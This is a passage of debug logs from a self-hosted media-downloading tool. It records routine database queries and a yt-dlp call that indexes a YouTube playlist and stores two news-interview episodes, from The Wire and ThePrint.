s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:09:48.249 [debug] QUERY OK source="media_profiles" db=28.3ms queue=0.3ms idle=80.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:09:48.327 [debug] QUERY OK source="media_items" db=74.3ms queue=0.2ms idle=109.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24] 20:09:48.330 [debug] Current batch of media processed. Will check again in 1000ms 20:09:49.331 [debug] Current batch of media processed. Will check again in 1000ms 20:09:50.402 [debug] Current batch of media processed. Will check again in 1000ms 20:09:51.404 [debug] Current batch of media processed. Will check again in 1000ms 20:09:52.405 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "duration" => 2570, "filename" => "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", "id" => "NDVG7q8x7Ms", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "playlist_index" => 2, "timestamp" => 1767944211, "title" => "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "upload_date" => "20260109"} 20:09:52.407 [debug] QUERY OK source="sources" db=1.0ms idle=808.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:09:52.409 [debug] QUERY OK source="sources" db=1.1ms idle=810.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:09:52.411 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=813.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 20:09:52.413 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/78/2f/782f54f300218d713221d2c9425b7a0b07c6ff57b3a11f27a01d72828399f2c9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:09:52.418 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=476.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:09:52.419 [debug] QUERY OK source="sources" db=0.7ms idle=11.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:09:52.420 [debug] QUERY OK source="media_items" db=1.0ms idle=10.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 20:09:52.456 [debug] QUERY OK source="media_items" db=42.6ms idle=815.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "3e81343e-0ec8-40c8-a1e2-372c578971de", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-10 20:09:52Z], ~U[2026-01-10 20:09:52Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 20:09:52.462 [debug] QUERY OK source="sources" db=1.1ms queue=0.2ms idle=42.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:09:52.463 [debug] QUERY OK source="media_profiles" db=1.2ms idle=43.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:09:52.467 [debug] QUERY OK source="media_items" db=0.7ms idle=46.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [36] 20:09:52.468 [debug] Gracefully stopping file follower 20:09:52.498 [debug] QUERY OK source="media_items" db=76.3ms idle=9.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "913ae396-b612-421b-a324-2afdc994ba71", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 20:09:52Z], ~U[2026-01-10 20:09:52Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 20:09:52.500 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=44.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:09:52.502 [debug] QUERY OK source="media_items" db=0.8ms queue=0.2ms idle=39.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 20:09:52.707 [debug] QUERY OK source="media_items" db=202.8ms idle=39.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "e7267c20-40d1-42b3-9a3d-34dfcb87eec2", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-10 20:09:52Z], ~U[2026-01-10 20:09:52Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 20:09:52.710 [debug] QUERY OK source="sources" db=1.1ms idle=241.4ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-01-10 20:09:52Z], ~U[2026-01-10 20:09:52Z], 1] 20:09:52.711 [debug] QUERY OK source="media_items" db=0.6ms idle=213.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 20:09:52.713 [debug] QUERY OK source="media_items" db=0.6ms idle=211.9ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 20:09:52.714 [debug] 